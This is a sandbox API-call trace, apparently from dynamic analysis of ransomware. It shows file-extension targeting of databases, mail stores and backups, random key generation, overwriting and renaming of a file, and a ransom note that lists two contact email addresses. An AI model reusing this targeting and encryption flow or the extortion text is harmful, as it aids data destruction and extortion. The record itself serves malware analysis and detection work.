	[0086.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".CKP") returned 0x0
	[0086.763] lstrlenW (lpString=".edb") returned 4
	[0086.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".edb") returned 0x0
	[0086.763] lstrlenW (lpString=".PST") returned 4
	[0086.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".PST") returned 0x0
	[0086.763] lstrlenW (lpString=".dbf") returned 4
	[0086.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".dbf") returned 0x0
	[0086.764] lstrlenW (lpString=".SQL") returned 4
	[0086.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".SQL") returned 0x0
	[0086.764] lstrlenW (lpString=".pst") returned 4
	[0086.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".pst") returned 0x0
	[0086.764] lstrlenW (lpString=".dbv") returned 4
	[0086.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".dbv") returned 0x0
	[0086.764] lstrlenW (lpString=".SDF") returned 4
	[0086.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".SDF") returned 0x0
	[0086.764] lstrlenW (lpString=".dtxs") returned 5
	[0086.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".dtxs") returned 0x0
	[0086.764] lstrlenW (lpString=".db3") returned 4
	[0086.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".db3") returned 0x0
	[0086.764] lstrlenW (lpString=".OST") returned 4
	[0086.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".OST") returned 0x0
	[0086.764] lstrlenW (lpString=".dbx") returned 4
	[0086.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".dbx") returned 0x0
	[0086.764] lstrlenW (lpString=".DB3") returned 4
	[0086.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".DB3") returned 0x0
	[0086.764] lstrlenW (lpString=".DAT") returned 4
	[0086.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".DAT") returned 0x0
	[0086.764] lstrlenW (lpString=".VHDX") returned 5
	[0086.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".VHDX") returned 0x0
	[0086.764] lstrlenW (lpString=".ndf") returned 4
	[0086.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".ndf") returned 0x0
	[0086.764] lstrlenW (lpString=".DB") returned 3
	[0086.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".DB") returned 0x0
	[0086.764] lstrlenW (lpString=".sql") returned 4
	[0086.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".sql") returned 0x0
	[0086.765] lstrlenW (lpString=".MYD") returned 4
	[0086.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".MYD") returned 0x0
	[0086.765] lstrlenW (lpString=".DBT") returned 4
	[0086.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".DBT") returned 0x0
	[0086.765] lstrlenW (lpString=".ACCDB") returned 6
	[0086.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".ACCDB") returned 0x0
	[0086.765] lstrlenW (lpString=".fdb") returned 4
	[0086.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".fdb") returned 0x0
	[0086.765] lstrlenW (lpString=".bak") returned 4
	[0086.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".bak") returned 0x0
	[0086.765] lstrlenW (lpString=".myd") returned 4
	[0086.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".myd") returned 0x0
	[0086.765] lstrlenW (lpString=".DTXS") returned 5
	[0086.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".DTXS") returned 0x0
	[0086.765] lstrlenW (lpString=".ckp") returned 4
	[0086.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".ckp") returned 0x0
	[0086.765] lstrlenW (lpString=".dbt") returned 4
	[0086.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".dbt") returned 0x0
	[0086.765] lstrlenW (lpString=".db") returned 3
	[0086.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".db") returned 0x0
	[0086.765] lstrlenW (lpString=".TXT") returned 4
	[0086.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".TXT") returned 0x0
	[0086.765] lstrlenW (lpString=".MDF") returned 4
	[0086.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".MDF") returned 0x0
	[0086.765] lstrlenW (lpString=".bdb") returned 4
	[0086.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".bdb") returned 0x0
	[0086.765] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0086.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.766] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0086.767] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.767] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0086.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0086.767] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20675693999) returned 1
	[0086.767] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9d85d5d0, dwHighDateTime=0x1d60e1e)) 
	[0086.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0086.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0086.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0086.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b2c0
	[0086.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b2c0 | out: hHeap=0x300000) returned 1
	[0086.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6220
	[0086.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0086.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6220 | out: hHeap=0x300000) returned 1
	[0086.767] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0086.768] GetLastError () returned 0x0
	[0086.768] GetLastError () returned 0x0
	[0086.768] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0086.768] GetLastError () returned 0x0
	[0086.768] GetLastError () returned 0x0
	[0086.817] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.817] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0086.819] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0086.820] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.820] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.882] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.882] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.882] CloseHandle (hObject=0x12c) returned 1
	[0086.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5dc0
	[0086.882] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its.~~~~")) returned 1
	[0086.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5dc0 | out: hHeap=0x300000) returned 1
	[0086.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0086.913] GetLastError () returned 0x0
	[0086.994] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0086.994] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0086.996] CloseHandle (hObject=0x120) returned 1
	[0086.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb420 | out: hHeap=0x300000) returned 1
	[0086.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6568 | out: hHeap=0x300000) returned 1
	[0086.996] RtlWakeConditionVariable () returned 0x365f70
	[0086.996] GetCurrentThreadId () returned 0x9f4
	[0086.996] GetCurrentThreadId () returned 0x9f4
	[0086.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6568
	[0086.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb960 | out: hHeap=0x300000) returned 1
	[0086.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b448 | out: hHeap=0x300000) returned 1
	[0086.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb960
	[0086.996] lstrlenW (lpString=".scr") returned 4
	[0086.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".scr") returned 0x0
	[0086.996] lstrlenW (lpString=".cmd") returned 4
	[0086.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".cmd") returned 0x0
	[0086.996] lstrlenW (lpString=".dll") returned 4
	[0086.996] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".dll") returned 0x0
	[0086.997] lstrlenW (lpString=".bat") returned 4
	[0086.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".bat") returned 0x0
	[0086.997] lstrlenW (lpString=".cpl") returned 4
	[0086.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".cpl") returned 0x0
	[0086.997] lstrlenW (lpString=".sys") returned 4
	[0086.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".sys") returned 0x0
	[0086.997] lstrlenW (lpString=".msc") returned 4
	[0086.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".msc") returned 0x0
	[0086.997] lstrlenW (lpString=".com") returned 4
	[0086.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".com") returned 0x0
	[0086.997] lstrlenW (lpString=".lnk") returned 4
	[0086.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".lnk") returned 0x0
	[0086.997] lstrlenW (lpString=".msp") returned 4
	[0086.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".msp") returned 0x0
	[0086.997] lstrlenW (lpString=".pif") returned 4
	[0086.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".pif") returned 0x0
	[0086.997] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0086.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0086.998] lstrlenW (lpString=".sqb") returned 4
	[0086.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".sqb") returned 0x0
	[0086.998] lstrlenW (lpString=".ost") returned 4
	[0086.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".ost") returned 0x0
	[0086.998] lstrlenW (lpString=".txt") returned 4
	[0086.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".txt") returned 0x0
	[0086.998] lstrlenW (lpString=".mdt") returned 4
	[0086.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".mdt") returned 0x0
	[0086.998] lstrlenW (lpString=".BDB") returned 4
	[0086.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".BDB") returned 0x0
	[0086.998] lstrlenW (lpString=".eql") returned 4
	[0086.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".eql") returned 0x0
	[0086.998] lstrlenW (lpString=".DBF") returned 4
	[0086.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".DBF") returned 0x0
	[0086.998] lstrlenW (lpString=".EQL") returned 4
	[0086.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".EQL") returned 0x0
	[0086.999] lstrlenW (lpString=".FDB") returned 4
	[0086.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".FDB") returned 0x0
	[0086.999] lstrlenW (lpString=".EDB") returned 4
	[0086.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".EDB") returned 0x0
	[0086.999] lstrlenW (lpString=".DACPAC") returned 7
	[0086.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".DACPAC") returned 0x0
	[0086.999] lstrlenW (lpString=".VHD") returned 4
	[0086.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".VHD") returned 0x0
	[0086.999] lstrlenW (lpString=".DBV") returned 4
	[0086.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".DBV") returned 0x0
	[0086.999] lstrlenW (lpString=".dacpac") returned 7
	[0086.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".dacpac") returned 0x0
	[0086.999] lstrlenW (lpString=".sdf") returned 4
	[0086.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".sdf") returned 0x0
	[0086.999] lstrlenW (lpString=".accdb") returned 6
	[0086.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".accdb") returned 0x0
	[0086.999] lstrlenW (lpString=".DBX") returned 4
	[0086.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".DBX") returned 0x0
	[0086.999] lstrlenW (lpString=".MDT") returned 4
	[0086.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".MDT") returned 0x0
	[0086.999] lstrlenW (lpString=".SQB") returned 4
	[0086.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".SQB") returned 0x0
	[0087.000] lstrlenW (lpString=".vhd") returned 4
	[0087.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".vhd") returned 0x0
	[0087.000] lstrlenW (lpString=".bac") returned 4
	[0087.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".bac") returned 0x0
	[0087.000] lstrlenW (lpString=".mdf") returned 4
	[0087.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".mdf") returned 0x0
	[0087.000] lstrlenW (lpString=".BAK") returned 4
	[0087.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".BAK") returned 0x0
	[0087.000] lstrlenW (lpString=".BAC") returned 4
	[0087.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".BAC") returned 0x0
	[0087.000] lstrlenW (lpString=".dbs") returned 4
	[0087.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".dbs") returned 0x0
	[0087.000] lstrlenW (lpString=".vhdx") returned 5
	[0087.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".vhdx") returned 0x0
	[0087.000] lstrlenW (lpString=".NDF") returned 4
	[0087.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".NDF") returned 0x0
	[0087.000] lstrlenW (lpString=".dat") returned 4
	[0087.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".dat") returned 0x0
	[0087.000] lstrlenW (lpString=".DBS") returned 4
	[0087.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".DBS") returned 0x0
	[0087.000] lstrlenW (lpString=".CKP") returned 4
	[0087.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".CKP") returned 0x0
	[0087.000] lstrlenW (lpString=".edb") returned 4
	[0087.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".edb") returned 0x0
	[0087.000] lstrlenW (lpString=".PST") returned 4
	[0087.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".PST") returned 0x0
	[0087.000] lstrlenW (lpString=".dbf") returned 4
	[0087.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".dbf") returned 0x0
	[0087.001] lstrlenW (lpString=".SQL") returned 4
	[0087.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".SQL") returned 0x0
	[0087.001] lstrlenW (lpString=".pst") returned 4
	[0087.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".pst") returned 0x0
	[0087.001] lstrlenW (lpString=".dbv") returned 4
	[0087.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".dbv") returned 0x0
	[0087.001] lstrlenW (lpString=".SDF") returned 4
	[0087.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".SDF") returned 0x0
	[0087.001] lstrlenW (lpString=".dtxs") returned 5
	[0087.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".dtxs") returned 0x0
	[0087.001] lstrlenW (lpString=".db3") returned 4
	[0087.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".db3") returned 0x0
	[0087.001] lstrlenW (lpString=".OST") returned 4
	[0087.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".OST") returned 0x0
	[0087.001] lstrlenW (lpString=".dbx") returned 4
	[0087.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".dbx") returned 0x0
	[0087.001] lstrlenW (lpString=".DB3") returned 4
	[0087.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".DB3") returned 0x0
	[0087.001] lstrlenW (lpString=".DAT") returned 4
	[0087.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".DAT") returned 0x0
	[0087.001] lstrlenW (lpString=".VHDX") returned 5
